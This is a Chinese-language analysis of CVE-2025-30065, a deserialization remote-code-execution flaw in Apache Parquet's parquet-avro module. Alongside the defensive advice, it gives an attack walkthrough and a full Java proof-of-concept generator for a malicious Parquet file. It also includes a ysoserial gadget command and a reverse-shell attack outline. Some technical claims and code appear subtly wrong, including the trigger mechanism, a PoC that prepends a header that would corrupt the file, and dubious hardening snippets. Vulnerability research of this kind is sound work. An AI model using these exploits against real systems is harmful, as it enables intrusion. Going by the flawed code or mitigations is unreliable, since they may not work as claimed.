CVE-2025-30065 漏洞全解析|Apache Parquet 反序列化远程代码执行漏洞分析
作者:Factor
一、漏洞概述
- 漏洞编号:CVE-2025-30065
- 影响组件:Apache Parquet(parquet-avro 模块)
- 漏洞类型:反序列化漏洞(Unsafe Deserialization)
- 危害等级:高危(CVSS 评分 ≥ 9.0)
- 攻击向量:本地文件或远程数据载入(取决于使用场景)
- 影响版本:<= 1.15.0(parquet-avro)
- 认证要求:无需认证,仅需触发反序列化逻辑
- 修复版本:1.15.1
- 发布日期:2025 年第一季度
Apache Parquet 是一种常用于大数据平台(如 Spark、Flink、Hive)中的列式数据存储格式,parquet-avro 模块支持基于 Avro 模式的读写功能。在 1.15.0 及更早版本中,该模块对 Avro 模式中的 stringableClass
字段反序列化处理不当,攻击者可构造恶意 Parquet 文件,当目标系统尝试读取该文件时,即可触发反序列化,进而实现远程代码执行(RCE)。
二、漏洞原理分析
该漏洞的根本原因在于 Apache Parquet 的 parquet-avro
模块在处理 Avro schema 中字段的 default
值时,未对其进行严格的安全检查或类型限制。在早期版本中,如果 default 字段被设置为一个类路径字符串或嵌入恶意构造的 payload,系统在加载 Parquet 文件并解析 Avro schema 时会自动尝试反序列化该 default 值,从而导致任意 Java 类的实例化。
具体流程如下:
- 攻击者构造 Avro schema,字段定义类似如下:
{
"name": "payload",
"type": "string",
"default": "!com.securitytest.RCEPayload"
}
-
在
parquet-avro
解析 schema 时,该 default 字段被直接传递给底层 Avro 解析逻辑。 -
如果类路径中存在与该值匹配的类(如 gadget 类),且该类定义了
readObject()
等敏感方法,则会被 JVM 自动反序列化执行,触发攻击链。 -
若系统中存在 ysoserial 常见的 Gadget 依赖(如 CommonsCollections、Groovy 等),可进一步利用实现远程命令执行(RCE)。
该漏洞在 parquet-avro
1.15.1 版本中被修复,新增了对 default 字段的限制和过滤逻辑,避免任意对象反序列化。
三、攻击利用流程
- 准备恶意 Avro schema,将 default 字段嵌入 Gadget 链对象
- 生成带恶意 schema 的 Parquet 文件
- 将 Parquet 文件上传到目标系统,或等待系统加载
- 触发读取逻辑(如 Spark 加载 parquet 文件)
- 目标系统执行恶意对象,导致远程命令执行
四、📊 影响范围
项目 | 描述 |
---|---|
受影响组件 | parquet-avro <= 1.15.0 |
使用场景 | Hadoop, Spark, Hive, Presto 等基于 Parquet 的读写模块 |
利用条件 | 目标系统使用 parquet-avro 且类路径中包含 gadget 链 |
攻击后果 | 任意代码执行、系统接管、远程命令执行 |
五、 利用示例(PoC)
以下为完整的 PoC Java 程序(由 h3st4k3r 编写),用于生成带有恶意 Avro Schema 的 Parquet 文件。
/**
* @author h3st4k3r
* @version 1.1
* @license 仅用于授权的安全研究与教育目的
*/
import org.apache.avro.Schema;
import org.apache.parquet.avro.AvroParquetWriter;
import org.apache.parquet.hadoop.ParquetWriter;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
/**
* 生成一个带有恶意 Avro Schema 的 Parquet 文件,用于复现 CVE-2025-30065。
* 在文件头部添加警告信息,标识其为安全研究用途的 PoC。
*/
public class ParquetExploitGenerator {
// 默认输出文件名
private static final String DEFAULT_OUTPUT_FILE = "exploit.parquet";
// 默认警告头信息(写入文件开头)
private static final String DEFAULT_WARNING_HEADER =
"X-PoC-Warning: This is a proof of concept for CVE-2025-30065 - Unauthorized use is prohibited.";
public static void main(String[] args) {
// 读取命令行参数(或使用默认值)
String outputFile = args.length > 0 ? args[0] : DEFAULT_OUTPUT_FILE;
String warningHeader = args.length > 1 ? args[1] : DEFAULT_WARNING_HEADER;
try {
// 生成恶意 Parquet 文件
generateMaliciousParquetFile(outputFile, warningHeader);
System.out.println("[+] 恶意文件生成成功: " + outputFile);
System.out.println("[+] 已写入警告信息和元数据。");
} catch (IOException e) {
System.err.println("[-] 文件生成失败: " + e.getMessage());
e.printStackTrace();
}
}
/**
* 构造并写入带有恶意 schema 的 Parquet 文件。
*
* @param outputFile 输出文件名
* @param warningHeader 写入文件头部的警告内容
* @throws IOException 写文件异常
*/
private static void generateMaliciousParquetFile(String outputFile, String warningHeader) throws IOException {
// 构造恶意 Avro schema,default 字段中伪造类路径,企图触发反序列化
String maliciousSchemaJson = "{"
+ "\"type\":\"record\","
+ "\"name\":\"SecurityTest\","
+ "\"fields\":[{"
+ "\"name\":\"payload\","
+ "\"type\":\"string\","
+ "\"default\":\"!com.securitytest.RCEPayload\"" // 伪造类路径入口
+ "}]}";
// 解析 schema 字符串为 Avro 的 Schema 对象
Schema schema = new Schema.Parser().parse(maliciousSchemaJson);
// 配置输出路径和 Hadoop 配置对象
Path path = new Path(outputFile);
Configuration conf = new Configuration();
// 使用 AvroParquetWriter 创建 Parquet 文件并写入空数据(主要是 schema)
try (ParquetWriter<Object> writer = AvroParquetWriter.builder(path)
.withSchema(schema)
.withConf(conf)
.build()) {
writer.write(null); // 写入空记录,确保 schema 被嵌入
}
// 在文件头部追加警告标识
appendWarningHeader(outputFile, warningHeader);
}
/**
* 向 Parquet 文件头部添加警告信息。
*
* @param filePath 文件路径
* @param warningHeader 要添加的警告内容
* @throws IOException 读取或写入异常
*/
private static void appendWarningHeader(String filePath, String warningHeader) throws IOException {
// 读取原始 Parquet 文件内容
byte[] originalContent = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(filePath));
// 准备警告头字节数组
byte[] headerBytes = (warningHeader + "\n").getBytes(StandardCharsets.UTF_8);
byte[] newContent = new byte[headerBytes.length + originalContent.length];
// 将警告头和原始内容拼接
System.arraycopy(headerBytes, 0, newContent, 0, headerBytes.length);
System.arraycopy(originalContent, 0, newContent, headerBytes.length, originalContent.length);
// 写回文件(覆盖原文件)
java.nio.file.Files.write(java.nio.file.Paths.get(filePath), newContent);
}
}
该程序将构造一个 payload
字段的 Avro Schema,其中 default 值伪造为一个类路径(如 !com.securitytest.RCEPayload
),一旦目标系统尝试加载该 Parquet 文件,即可触发反序列化行为。
六、Gadget 构造与漏洞触发流程详解
漏洞利用的核心在于反序列化 gadget 链(即恶意对象链),以下是典型攻击路径:
构建反序列化链:
- 使用工具如 ysoserial 构造 gadget payload,例如:
java -jar ysoserial.jar CommonsCollections1 'touch /tmp/pwned' > payload.ser
-
使用 Base64 将其编码,并封装入 Avro schema 的
default
字段,或利用 Apache Avro 的 Object encoding 功能直接写入反序列化入口字段中。 -
生成 Parquet 文件嵌入此 schema 与 payload
触发条件:
- 受害系统(如 Spark/Flink)使用
parquet-avro
读取该文件 - 模块自动解析
default
字段,调用 ObjectMapper 或 AvroReader 执行对象恢复 - JVM 自动调用目标类的
readObject()
方法 - gadget 链生效 ⇒ 执行命令
触发关键条件:
- 类路径中存在 Gadget(如:CommonsCollections、Groovy、Spring)
- 使用
parquet-avro
的默认 reader 实现(如AvroParquetReader
) - 默认启用 schema default 字段反序列化逻辑(已在 1.15.1 修复)
GitHub 漏洞利用项目(来自 h3st4k3r):
-
利用方式:
- 利用 ysoserial 生成 gadget
- 将其作为 default 字段嵌入到 Avro schema
- 写入到 Parquet 文件中
- 通过
ParquetReader
加载触发漏洞
示例代码片段:
Schema schema = new Schema.Parser().parse(new File("malicious_schema.json"));
GenericRecord record = new GenericData.Record(schema);
// 设置 default 字段为 Gadget
ParquetWriter<GenericRecord> writer = ... // 写入到 parquet 文件
七、💻 Metasploit 模块模拟
目前未有官方 MSF 模块,但你可模拟如下逻辑:
- 上传恶意 Parquet 文件
- 通过 RPC 触发 Spark / Presto 加载路径
- 检测是否连接反弹 shell / DNS 请求
用户侧加固:
- 禁止信任外部 Parquet 文件(不要加载未知源文件)
- 使用安全类加载器(限制反序列化类白名单)
- 对 Spark/Flink 作业中禁用读取
default
构造字段
八、反序列化攻击链流程图
以下为 CVE-2025-30065 的攻击链关键流程图(可用于教学或风险通报):
┌──────────────────────────────┐
│ 攻击者构造恶意 Avro Schema │
│ 字段 default = Gadget 类路径 │
└────────────┬───────────────┘
↓
┌──────────────────────────────┐
│ 嵌入 Schema 至 Parquet 文件 │
└────────────┬───────────────┘
↓
┌──────────────────────────────────────────┐
│ 目标系统(如 Spark)使用 parquet-avro 加载 │
│ → 解析 default → 实例化对象 → 触发 readObject() │
└────────────┬────────────────────────────┘
↓
┌──────────────────────────────┐
│ Gadget 链生效,执行系统命令 │
└──────────────────────────────┘
九、🛡️ Spark/Flink 安全读取建议与防御代码片段
为避免在 Spark、Flink 等大数据平台中无意触发反序列化攻击链,建议采取如下策略:
方式一:禁止读取 default 字段(Avro 层)
在读取 Parquet 文件前,过滤 schema 中含有 default 的字段:
val rawSchema = new Schema.Parser().parse(schemaString)
val filteredFields = rawSchema.getFields.asScala.filterNot(_.defaultVal() != null)
方式二:在 Spark 作业中添加类型限制(类名白名单)
System.setProperty("jdk.serialFilter", "!*com.securitytest.*,!*org.apache.commons.*,java.util.*,java.lang.*")
方式三:升级 parquet-avro + 使用安全加载器
确保版本 >= 1.15.1,并使用如下代码强制手动映射字段类型:
AvroParquetReader<GenericRecord> reader = AvroParquetReader
.<GenericRecord>builder(path)
.withConf(new Configuration())
.disableCompatibility() // 禁用自动字段推断
.build();
参考链接
总结
CVE-2025-30065 是一个典型的 Java 反序列化漏洞,其危险之处在于:仅通过解析数据文件即可执行恶意代码。在使用大数据平台时,如果存在加载外部 Parquet 文件的需求,务必开启类白名单机制,避免反序列化攻击链触发。
🔥 强烈建议所有使用 Apache Parquet 的开发者和平台管理员立刻升级 parquet-avro
至 1.15.1+,并结合静态/动态扫描工具对现有数据集做安全审计。